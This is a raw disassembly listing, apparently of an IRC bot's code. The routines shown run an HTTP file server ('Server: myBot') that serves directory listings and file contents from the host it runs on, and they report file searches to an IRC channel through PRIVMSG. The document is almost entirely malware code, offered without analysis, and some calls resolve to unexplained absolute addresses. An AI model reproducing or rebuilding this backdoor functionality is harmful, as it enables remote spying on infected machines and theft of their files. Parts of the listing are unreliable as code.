		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_41B886
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_40F596
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40F59B
; ---------------------------------------------------------------------------


loc_40F596:				; CODE XREF: sub_40F530+5Dj
		push	offset aApplicationOct ; "application/octet-stream"


loc_40F59B:				; CODE XREF: sub_40F530+64j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		call	near ptr 2720000h
		nop
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	near ptr 2711483h
		nop
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_40F614
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 24h
		jmp	short loc_40F635
; ---------------------------------------------------------------------------


loc_40F614:				; CODE XREF: sub_40F530+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 28h


loc_40F635:				; CODE XREF: sub_40F530+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_4CAFF4
		cmp	[ebp+var_A4], edi
		jnz	short loc_40F675
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_40FFF0
		pop	ecx
		pop	ecx
		jmp	short loc_40F692
; ---------------------------------------------------------------------------


loc_40F675:				; CODE XREF: sub_40F530+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_40F96A
		add	esp, 10h


loc_40F692:				; CODE XREF: sub_40F530+143j
		push	[ebp+var_44C]
		call	dword_4CB03C
		push	[ebp+var_B4]
		call	sub_40B412
		pop	ecx
		push	edi
		call	near ptr 26D0000h
		nop
		pop	edi
		pop	esi
sub_40F530	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F6B3	proc near		; CODE XREF: sub_40F0D5+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_41B590
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_40F6E9
		push	eax
		push	offset aS_3	; "\\%s"
		jmp	short loc_40F6F2
; ---------------------------------------------------------------------------


loc_40F6E9:				; CODE XREF: sub_40F6B3+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"


loc_40F6F2:				; CODE XREF: sub_40F6B3+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_40F78D
		mov	[ebp+arg_8], 2


loc_40F71D:				; CODE XREF: sub_40F6B3+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_40F75D
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_40F75D
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_40F75D
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_40F75D
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_40F777
; ---------------------------------------------------------------------------


loc_40F75D:				; CODE XREF: sub_40F6B3+7Aj
					; sub_40F6B3+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_40F76D
		push	5Ch
		pop	eax
		jmp	short loc_40F770
; ---------------------------------------------------------------------------


loc_40F76D:				; CODE XREF: sub_40F6B3+B3j
		movsx	eax, al


loc_40F770:				; CODE XREF: sub_40F6B3+B8j
		mov	[ebp+ebx+var_210], al


loc_40F777:				; CODE XREF: sub_40F6B3+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40F71D


loc_40F78D:				; CODE XREF: sub_40F6B3+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset dword_4293F4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_314]
		push	offset asc_4299C8 ; "\n"
		push	eax
		call	sub_41C0F4
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	near ptr 26803F7h
		nop
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_40F7DE
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F7E1
		push	[ebp+arg_0]
		jmp	loc_40F861
; ---------------------------------------------------------------------------


loc_40F7DE:				; CODE XREF: sub_40F6B3+11Cj
		mov	[ebp+var_4], esi


loc_40F7E1:				; CODE XREF: sub_40F6B3+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40F7EE
		mov	[ebp+var_4], esi


loc_40F7EE:				; CODE XREF: sub_40F6B3+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_40F86C
		cmp	[ebp+arg_C], edi
		jz	short loc_40F860
		lea	eax, [ebp+var_314]
		push	offset asc_433AD8 ; "*"
		push	eax
		call	sub_41BEC0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4100AD
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_41B886
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_40F8BB
; ---------------------------------------------------------------------------


loc_40F860:				; CODE XREF: sub_40F6B3+152j
		push	ebx


loc_40F861:				; CODE XREF: sub_40F6B3+126j
		call	dword_4CB03C
		jmp	loc_40F963
; ---------------------------------------------------------------------------


loc_40F86C:				; CODE XREF: sub_40F6B3+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		nop
		call	near ptr 26F0922h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40F8BB
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		nop
		call	near ptr 2720BF7h
		push	esi
		mov	[ebp+var_330], eax
		nop
		call	near ptr 265098Ch


loc_40F8BB:				; CODE XREF: sub_40F6B3+1ABj
					; sub_40F6B3+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_433AA4
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40B0F6
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_43DEE4[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40F530
		push	edi
		push	edi
		call	near ptr 2670603h
		nop
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40F935


loc_40F923:				; CODE XREF: sub_40F6B3+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_40F963
		push	5
		call	near ptr 267053Bh
		nop
		jmp	short loc_40F923
; ---------------------------------------------------------------------------


loc_40F935:				; CODE XREF: sub_40F6B3+26Ej
		push	ebx
		call	dword_4CB03C
		call	near ptr 2670E77h
		nop
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_433A6C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_4151AC
		add	esp, 10h


loc_40F963:				; CODE XREF: sub_40F6B3+1B4j
					; sub_40F6B3+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F6B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F96A	proc near		; CODE XREF: sub_401ACD+777Ap
					; sub_40F530+15Ap

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_41B590
		mov	edi, [ebp+arg_0]
		push	offset asc_4299C8 ; "\n"
		push	edi
		call	sub_41C0F4
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40F9C9
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FAC8
; ---------------------------------------------------------------------------


loc_40F9C9:				; CODE XREF: sub_40F96A+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_40FAAE
		call	sub_41AFE0
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		push	edi
		call	sub_41AFE0
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40FAC8
; ---------------------------------------------------------------------------


loc_40FAAE:				; CODE XREF: sub_40F96A+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h


loc_40FAC8:				; CODE XREF: sub_40F96A+5Aj
					; sub_40F96A+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FB63
		push	[ebp+arg_C]
		call	sub_41AFE0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_40FB63
		push	[ebp+arg_C]
		call	sub_41AFE0
		sub	eax, 3
		pop	ecx
		jz	short loc_40FB14


loc_40FB08:				; CODE XREF: sub_40F96A+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_40FB14
		dec	eax
		jnz	short loc_40FB08


loc_40FB14:				; CODE XREF: sub_40F96A+19Cj
					; sub_40F96A+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4


loc_40FB63:				; CODE XREF: sub_40F96A+180j
					; sub_40F96A+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		nop
		call	near ptr 25C0000h
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		nop
		call	near ptr 2750000h
		test	eax, eax
		jz	loc_40FF53
		mov	edi, 1FFh


loc_40FB8F:				; CODE XREF: sub_40F96A+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_40FF3B
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3B
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3B
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		call	near ptr 2740000h
		nop
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 27308B0h
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_40FC04
		mov	ecx, offset aAm	; "AM"


loc_40FC04:				; CODE XREF: sub_40F96A+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_40FC10
		sub	eax, 0Ch


loc_40FC10:				; CODE XREF: sub_40F96A+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41B886
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_40FDB3
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FC84
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_40FEFC
; ---------------------------------------------------------------------------


loc_40FC84:				; CODE XREF: sub_40F96A+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_40FD6E
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FD24
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_40FD29
; ---------------------------------------------------------------------------


loc_40FD24:				; CODE XREF: sub_40F96A+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_40FD29:				; CODE XREF: sub_40F96A+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FEFD
; ---------------------------------------------------------------------------


loc_40FD6E:				; CODE XREF: sub_40F96A+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FF0C
; ---------------------------------------------------------------------------


loc_40FDB3:				; CODE XREF: sub_40F96A+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FDF2
		push	ebx
		push	[ebp+var_368]
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi


loc_40FDDE:				; CODE XREF: sub_40F96A+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		jmp	loc_40FF0C
; ---------------------------------------------------------------------------


loc_40FDF2:				; CODE XREF: sub_40F96A+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_40FEE6
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset dword_4293F4
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FE92
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_40FE97
; ---------------------------------------------------------------------------


loc_40FE92:				; CODE XREF: sub_40F96A+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_40FE97:				; CODE XREF: sub_40F96A+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FDDE
; ---------------------------------------------------------------------------


loc_40FEE6:				; CODE XREF: sub_40F96A+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"


loc_40FEFC:				; CODE XREF: sub_40F96A+315j
		push	esi


loc_40FEFD:				; CODE XREF: sub_40F96A+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 18h


loc_40FF0C:				; CODE XREF: sub_40F96A+444j
					; sub_40F96A+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF3B
		push	7D0h
		nop
		call	near ptr 267053Bh


loc_40FF3B:				; CODE XREF: sub_40F96A+22Bj
					; sub_40F96A+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 2750000h
		test	eax, eax
		jnz	loc_40FB8F


loc_40FF53:				; CODE XREF: sub_40F96A+21Aj
		push	[ebp+arg_0]
		nop
		call	near ptr 2730000h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF96
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40FFCA
; ---------------------------------------------------------------------------


loc_40FF96:				; CODE XREF: sub_40F96A+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FFB0
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_40FFCA
; ---------------------------------------------------------------------------


loc_40FFB0:				; CODE XREF: sub_40F96A+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41B886
		add	esp, 10h


loc_40FFCA:				; CODE XREF: sub_40F96A+62Aj
					; sub_40F96A+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F96A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FFF0	proc near		; CODE XREF: sub_40F530+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		nop
		call	near ptr 26F0922h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4100A8
		push	esi
		push	ebx
		call	near ptr 2720BF7h
		nop
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_4100A1


loc_410035:				; CODE XREF: sub_40FFF0+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]


loc_41004D:				; DATA XREF: ___:00437A60o
					; ___:00437A74o
		jbe	short loc_410052
		mov	edi, [ebp+arg_4]


loc_410052:				; CODE XREF: sub_40FFF0:loc_41004Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	near ptr 2760000h
		nop
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 26F0000h
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41009C
		call	dword_4CAF38
		cmp	eax, 2733h
		jnz	short loc_4100A1
		xor	eax, eax


loc_41009C:				; CODE XREF: sub_40FFF0+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_410035


loc_4100A1:				; CODE XREF: sub_40FFF0+43j
					; sub_40FFF0+A8j
		push	ebx
		nop
		call	near ptr 265098Ch


loc_4100A8:				; CODE XREF: sub_40FFF0+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FFF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4100AD	proc near		; CODE XREF: sub_40F6B3+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_4100D6


loc_4100C0:				; CODE XREF: sub_4100AD+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_4100CA
		mov	byte ptr [esi+edi], 2Fh


loc_4100CA:				; CODE XREF: sub_4100AD+17j
		push	edi
		inc	esi
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_4100C0


loc_4100D6:				; CODE XREF: sub_4100AD+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4100AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4100DB	proc near		; CODE XREF: sub_401ACD+5297p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
